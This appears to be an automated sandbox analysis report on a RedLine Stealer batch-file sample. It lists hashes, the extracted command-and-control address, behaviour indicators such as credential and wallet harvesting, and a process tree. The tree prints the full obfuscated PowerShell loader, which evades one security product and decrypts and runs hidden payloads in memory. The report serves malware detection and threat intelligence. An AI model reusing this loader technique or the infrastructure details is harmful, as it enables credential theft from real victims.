Analysis
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max time kernel
141s -
max time network
128s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
17/10/2024, 01:22
Static task
static1
Behavioral task
behavioral1
Sample
3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d.cmd
Resource
win7-20240903-en
General
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Target
3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d.cmd
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Size
75KB
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MD5
832dd29f7ffd54f656233e56c588b4fd
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SHA1
fd306aaaa8b2065f80773cf440e245f3120eef09
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SHA256
3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d
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SHA512
b5098bc78bb21a8a003b2b5a1c4950ff3a791e9a8543be51c7885b95999a1acef6bdffda9bb92ca2734f8b0f54a1572d9fb3dbdba322abae2d1057273529be10
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SSDEEP
1536:udOgvVCMvAg6DhWpHjd62+6LiIB8KUDPGJ/oJzy:wVLAjDhWpjTfuPWIW
Malware Config
Extracted
redline
tony
51.195.145.77:57942
Signatures
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RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/4576-40-0x0000000007800000-0x000000000781E000-memory.dmp family_redline -
SectopRAT payload 1 IoCs
resource yara_rule behavioral2/memory/4576-40-0x0000000007800000-0x000000000781E000-memory.dmp family_sectoprat -
Blocklisted process makes network request 2 IoCs
flow pid Process 23 4576 powershell.exe 26 4576 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4532 powershell.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 4576 powershell.exe 4576 powershell.exe 4532 powershell.exe 4532 powershell.exe 4576 powershell.exe 4576 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4576 powershell.exe Token: SeDebugPrivilege 4532 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4428 wrote to memory of 3600 4428 cmd.exe 86 PID 4428 wrote to memory of 3600 4428 cmd.exe 86 PID 4428 wrote to memory of 4576 4428 cmd.exe 87 PID 4428 wrote to memory of 4576 4428 cmd.exe 87 PID 4428 wrote to memory of 4576 4428 cmd.exe 87 PID 4576 wrote to memory of 4532 4576 powershell.exe 90 PID 4576 wrote to memory of 4532 4576 powershell.exe 90 PID 4576 wrote to memory of 4532 4576 powershell.exe 90
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d.cmd"1⤵
- Suspicious use of WriteProcessMemory
PID:4428 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d.cmd';$BczT='GeRVWptRVWpCRVWpurRVWpreRVWpntRVWpPRVWproRVWpcRVWpessRVWp'.Replace('RVWp', ''),'SpdpWdlitdpWd'.Replace('dpWd', ''),'EntUUZwrUUZwyPUUZwoUUZwinUUZwtUUZw'.Replace('UUZw', ''),'ElmNutemNutmmNutentmNutAtmNut'.Replace('mNut', ''),'LoZlRdadZlRd'.Replace('ZlRd', ''),'FriYMJomiYMJBiYMJasiYMJe64iYMJStiYMJriiYMJngiYMJ'.Replace('iYMJ', ''),'CDTtzhaDTtznDTtzgeDTtzExDTtzteDTtznsDTtzioDTtznDTtz'.Replace('DTtz', ''),'TrUPQEanUPQEsfUPQEormUPQEFUPQEiUPQEnUPQEalUPQEBUPQElocUPQEkUPQE'.Replace('UPQE', ''),'IqNQJnvqNQJoqNQJkeqNQJ'.Replace('qNQJ', ''),'CoqEENpqEENyqEENToqEEN'.Replace('qEEN', ''),'CrehWBeaehWBteehWBDehWBeehWBcehWBrypehWBtorehWB'.Replace('ehWB', ''),'MaQHwVinQHwVModQHwVuQHwVleQHwV'.Replace('QHwV', ''),'ReoviQadLoviQinoviQeoviQsoviQ'.Replace('oviQ', ''),'Devonzcomvonzpvonzrevonzssvonz'.Replace('vonz', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($BczT[0])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function pWQul($PgjTo){$ArRhZ=[System.Security.Cryptography.Aes]::Create();$ArRhZ.Mode=[System.Security.Cryptography.CipherMode]::CBC;$ArRhZ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$ArRhZ.Key=[System.Convert]::($BczT[5])('BCbtvIveY0T0lkWSkDxWOMe/c90s1PvXXJN390CRmts=');$ArRhZ.IV=[System.Convert]::($BczT[5])('JbfpGWq+SHjQD2Awma012A==');$BcXUN=$ArRhZ.($BczT[10])();$RcqyN=$BcXUN.($BczT[7])($PgjTo,0,$PgjTo.Length);$BcXUN.Dispose();$ArRhZ.Dispose();$RcqyN;}function iDUTr($PgjTo){$bKrDu=New-Object System.IO.MemoryStream(,$PgjTo);$gnvgt=New-Object System.IO.MemoryStream;$atXgD=New-Object System.IO.Compression.GZipStream($bKrDu,[IO.Compression.CompressionMode]::($BczT[13]));$atXgD.($BczT[9])($gnvgt);$atXgD.Dispose();$bKrDu.Dispose();$gnvgt.Dispose();$gnvgt.ToArray();}$XZgdm=[System.IO.File]::($BczT[12])([Console]::Title);$IbVAd=iDUTr (pWQul ([Convert]::($BczT[5])([System.Linq.Enumerable]::($BczT[3])($XZgdm, 5).Substring(2))));$AAuWz=iDUTr (pWQul ([Convert]::($BczT[5])([System.Linq.Enumerable]::($BczT[3])($XZgdm, 6).Substring(2))));[System.Reflection.Assembly]::($BczT[4])([byte[]]$AAuWz).($BczT[2]).($BczT[8])($null,$null);[System.Reflection.Assembly]::($BczT[4])([byte[]]$IbVAd).($BczT[2]).($BczT[8])($null,$null); "2⤵PID:3600
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe2⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4576 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4532
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1KB
MD5928d36ad618a369ffebf44885d07cf81
SHA1edf5a353a919c1873af8e6a0dfafa4c38c626975
SHA256d3436adbbe4dcb701c214f108dcd7babddbbc1b3b6f6dd6f5a4c5fc8c1a507ea
SHA5124ca6f5da3cf41f7ea938eaa80e169ed3ba33c93ada8932d2683c5a57e632b963d0cb84bc6330cb1454801f0fbed02f97c8b8c7bbd992c8fdf603220f2be9086a
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Filesize
896B
MD5794bcc5f81fe61b3e0464ebf6b67d446
SHA1a688d9c0401d441ade7a8324d7c0e803a504564a
SHA256e6ba72353c1b554868aadd4ee178e2692a6b5e1fef79f85c78e93547244e9325
SHA512c968512ccc9a9f2de6166390187f0b0d9795111dad80ab380f7cf140be8f51c1be743909db40739794dfc41c1739c342a04cf1da2636dab7f8aa91548a531e5d
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
40KB
MD5a182561a527f929489bf4b8f74f65cd7
SHA18cd6866594759711ea1836e86a5b7ca64ee8911f
SHA25642aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914
SHA5129bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558
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Filesize
114KB
MD50163d73ac6c04817a0bed83c3564b99f
SHA1784001e8d0e7ab6a09202c2a1094f371f7d017cb
SHA2565114af822abc2b0f2aabb7565919164c9babf884e34c21095213dbe6a71511ea
SHA51247051ee935be9e9d4457447c7fe5df06a5b0c5ef55d2c757d3dfa179b6049ae79732b1552e812febe5ae41a076cb29d8a809ae9b168afc7eb4c9eadfadcf5d9b
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Filesize
48KB
MD5349e6eb110e34a08924d92f6b334801d
SHA1bdfb289daff51890cc71697b6322aa4b35ec9169
SHA256c9fd7be4579e4aa942e8c2b44ab10115fa6c2fe6afd0c584865413d9d53f3b2a
SHA5122a635b815a5e117ea181ee79305ee1baf591459427acc5210d8c6c7e447be3513ead871c605eb3d32e4ab4111b2a335f26520d0ef8c1245a4af44e1faec44574
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Filesize
20KB
MD549693267e0adbcd119f9f5e02adf3a80
SHA13ba3d7f89b8ad195ca82c92737e960e1f2b349df
SHA256d76e7512e496b7c8d9fcd3010a55e2e566881dc6dacaf0343652a4915d47829f
SHA512b4b9fcecf8d277bb0ccbb25e08f3559e3fc519d85d8761d8ad5bca983d04eb55a20d3b742b15b9b31a7c9187da40ad5c48baa7a54664cae4c40aa253165cbaa2
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Filesize
116KB
MD5f70aa3fa04f0536280f872ad17973c3d
SHA150a7b889329a92de1b272d0ecf5fce87395d3123
SHA2568d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8
SHA51230675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84
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Filesize
96KB
MD540f3eb83cc9d4cdb0ad82bd5ff2fb824
SHA1d6582ba879235049134fa9a351ca8f0f785d8835
SHA256cdd772b00ae53d4050150552b67028b7344bb1d345bceb495151cc969c27a0a0
SHA512cdd4dbf0b1ba73464cd7c5008dc05458862e5f608e336b53638a14965becd4781cdea595fd6bd18d0bf402dccffd719da292a6ce67d359527b4691dc6d6d4cc2